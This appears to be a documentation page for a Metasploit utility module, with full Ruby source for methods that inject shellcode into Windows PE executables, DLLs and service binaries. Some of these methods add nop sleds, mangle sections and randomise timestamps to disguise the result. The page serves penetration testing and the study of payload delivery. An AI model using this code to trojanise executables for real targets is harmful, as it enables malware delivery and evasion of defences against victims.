Module: Msf::Util::EXE::Windows::X86::ClassMethods
- Included in:
- Msf::Util::EXE::Windows::X86
- Defined in:
- lib/msf/util/exe/windows/x86.rb
Instance Method Summary collapse
-
#to_win32pe(framework, code, opts = {}) ⇒ String
to_win32pe.
-
#to_win32pe_dccw_gdiplus_dll(framework, code, opts = {}) ⇒ String
to_win32pe_dccw_gdiplus_dll.
-
#to_win32pe_dll(framework, code, opts = {}) ⇒ String
to_win32pe_dll.
-
#to_win32pe_exe_sub(framework, code, opts = {}) ⇒ String
to_win32pe_exe_sub.
-
#to_win32pe_old(framework, code, opts = {}) ⇒ Object
to_win32pe_old.
-
#to_win32pe_service(framework, code, opts = {}) ⇒ String
Embeds shellcode within a Windows PE file implementing the Windows service control methods.
-
#to_winpe_only(framework, code, opts = {}, arch = ARCH_X86) ⇒ Object
to_winpe_only.
Instance Method Details
#to_win32pe(framework, code, opts = {}) ⇒ String
to_win32pe
42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 |
# File 'lib/msf/util/exe/windows/x86.rb', line 42 def to_win32pe(framework, code, opts = {}) # For backward compatibility, this is roughly equivalent to 'exe-small' fmt if opts[:sub_method] if opts[:inject] raise RuntimeError, 'NOTE: using the substitution method means no inject support' end # use return self.to_win32pe_exe_sub(framework, code, opts) end # Allow the user to specify their own EXE template set_template_default(opts, "template_x86_windows.exe") # Copy the code to a new RWX segment to allow for self-modifying encoders payload = win32_rwx_exec(code) # Create a new PE object and run through sanity checks pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) #try to inject code into executable by adding a section without affecting executable behavior if opts[:inject] injector = Msf::Exe::SegmentInjector.new({ :payload => code, :template => opts[:template], :arch => :x86, :secname => opts[:secname] }) return injector.generate_pe end text = nil pe.sections.each {|sec| text = sec if sec.name == ".text"} raise RuntimeError, "No .text section found in the template" unless text unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint) raise RuntimeError, "The .text section does not contain an entry point" end p_length = payload.length + 256 # If the .text section is too small, append a new section instead if text.size < p_length appender = Msf::Exe::SegmentAppender.new({ :payload => code, :template => opts[:template], :arch => :x86, :secname => opts[:secname] }) return appender.generate_pe end # Store some useful offsets off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint) off_beg = pe.rva_to_file_offset(text.base_rva) # We need to make sure our injected code doesn't conflict with the # the data directories stored in .text (import, export, etc) mines = [] pe.hdr.opt['DataDirectory'].each do |dir| next if dir.v['Size'] == 0 next unless text.contains_rva?(dir.v['VirtualAddress']) delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg mines << [delta, dir.v['Size']] end # Break the text segment into contiguous blocks blocks = [] bidx = 0 mines.sort{|a,b| a[0] <=> b[0]}.each do |mine| bbeg = bidx bend = mine[0] blocks << [bidx, bend-bidx] if bbeg != bend bidx = mine[0] + mine[1] end # Add the ending block blocks << [bidx, text.size - bidx] if bidx < text.size - 1 # Find the largest contiguous block blocks.sort!{|a,b| b[1]<=>a[1]} block = blocks.first # TODO: Allow the entry point in a different block if payload.length + 256 >= block[1] raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})" end # Make a copy of the entire .text section data = text.read(0,text.size) # Pick a random offset to store the payload poff = rand(block[1] - payload.length - 256) # Flip a coin to determine if EP is before or after eloc = rand(2) eidx = nil # Pad the entry point with random nops entry = generate_nops(framework, [ARCH_X86], rand(200) + 51) # Pick an offset to store the new entry point if eloc == 0 # place the entry point before the payload poff += 256 eidx = rand(poff-(entry.length + 5)) else # place the entry pointer after the payload poff -= [256, poff].min eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length end # Relative jump from the end of the nops to the payload entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V') # Mangle 25% of the original executable 1.upto(block[1] / 4) do data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C") end # Patch the payload and the new entry point into the .text data[block[0] + poff, payload.length] = payload data[block[0] + eidx, entry.length] = entry # Create the modified version of the input executable exe = '' File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)} a = [text.base_rva + block.first + eidx].pack("V") exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a exe[off_beg, data.length] = data tds = pe.hdr.file.TimeDateStamp exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V") cks = pe.hdr.opt.CheckSum unless cks == 0 exe[exe.index([cks].pack('V')), 4] = [0].pack("V") end exe = clear_dynamic_base(exe, pe) pe.close exe end |
#to_win32pe_dccw_gdiplus_dll(framework, code, opts = {}) ⇒ String
to_win32pe_dccw_gdiplus_dll
375 376 377 378 |
# File 'lib/msf/util/exe/windows/x86.rb', line 375 def to_win32pe_dccw_gdiplus_dll(framework, code, opts = {}) set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus') to_win32pe_dll(framework, code, opts) end |
#to_win32pe_dll(framework, code, opts = {}) ⇒ String
to_win32pe_dll
353 354 355 356 357 358 359 360 361 362 363 |
# File 'lib/msf/util/exe/windows/x86.rb', line 353 def to_win32pe_dll(framework, code, opts = {}) flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor) opts[:exe_type] = :dll if opts[:inject] to_win32pe(framework, code, opts) else exe_sub_method(code, opts) end end |
#to_win32pe_exe_sub(framework, code, opts = {}) ⇒ String
to_win32pe_exe_sub
319 320 321 322 323 324 |
# File 'lib/msf/util/exe/windows/x86.rb', line 319 def to_win32pe_exe_sub(framework, code, opts = {}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.exe") opts[:exe_type] = :exe_sub exe_sub_method(code,opts) end |
#to_win32pe_old(framework, code, opts = {}) ⇒ Object
to_win32pe_old
263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 |
# File 'lib/msf/util/exe/windows/x86.rb', line 263 def to_win32pe_old(framework, code, opts = {}) payload = code.dup # Allow the user to specify their own EXE template set_template_default(opts, "template_x86_windows_old.exe") pe = '' File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)} if payload.length <= 2048 payload << Rex::Text.rand_text(2048-payload.length) else raise RuntimeError, "The EXE generator now has a max size of 2048 " + "bytes, please fix the calling module" end bo = pe.index('PAYLOAD:') unless bo raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" end pe[bo, payload.length] = payload pe[136, 4] = [rand(0x100000000)].pack('V') ci = pe.index("\x31\xc9" * 160) unless ci raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\"" end cd = pe.index("\x31\xc9" * 160, ci + 320) unless cd raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\"" end rc = pe[ci+320, cd-ci-320] # 640 + rc.length bytes of room to store an encoded rc at offset ci enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32) lft = 640+rc.length - enc.length buf = enc + Rex::Text.rand_text(640+rc.length - enc.length) pe[ci, buf.length] = buf # Make the data section executable xi = pe.index([0xc0300040].pack('V')) pe[xi,4] = [0xe0300020].pack('V') # Add a couple random bytes for fun pe << Rex::Text.rand_text(rand(64)+4) pe end |
#to_win32pe_service(framework, code, opts = {}) ⇒ String
Embeds shellcode within a Windows PE file implementing the Windows service control methods.
337 338 339 340 341 342 |
# File 'lib/msf/util/exe/windows/x86.rb', line 337 def to_win32pe_service(framework, code, opts = {}) # Allow the user to specify their own service EXE template set_template_default(opts, "template_x86_windows_svc.exe") opts[:exe_type] = :service_exe exe_sub_method(code,opts) end |
#to_winpe_only(framework, code, opts = {}, arch = ARCH_X86) ⇒ Object
to_winpe_only
194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 |
# File 'lib/msf/util/exe/windows/x86.rb', line 194 def to_winpe_only(framework, code, opts = {}, arch=ARCH_X86) # Allow the user to specify their own EXE template set_template_default(opts, "template_#{arch}_windows.exe") pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) exe = '' File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)} pe_header_size = 0x18 entryPoint_offset = 0x28 section_size = 0x28 characteristics_offset = 0x24 virtualAddress_offset = 0x0c sizeOfRawData_offset = 0x10 sections_table_offset = pe._dos_header.v['e_lfanew'] + pe._file_header.v['SizeOfOptionalHeader'] + pe_header_size sections_table_characteristics_offset = sections_table_offset + characteristics_offset sections_header = [] pe._file_header.v['NumberOfSections'].times do |i| section_offset = sections_table_offset + (i * section_size) sections_header << [ sections_table_characteristics_offset + (i * section_size), exe[section_offset,section_size] ] end addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint # look for section with entry point sections_header.each do |sec| virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0] sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0] characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0] if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint) importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0] if (importsTable - addressOfEntryPoint) < code.length #shift original entry point to prevent tables overwriting addressOfEntryPoint = importsTable - code.length + 4 entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V') end # put this section writable characteristics |= 0x8000_0000 newcharacteristics = [characteristics].pack('V') exe[sec[0],newcharacteristics.length] = newcharacteristics end end # put the shellcode at the entry point, overwriting template entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint) exe[entryPoint_file_offset,code.length] = code exe = clear_dynamic_base(exe, pe) exe end |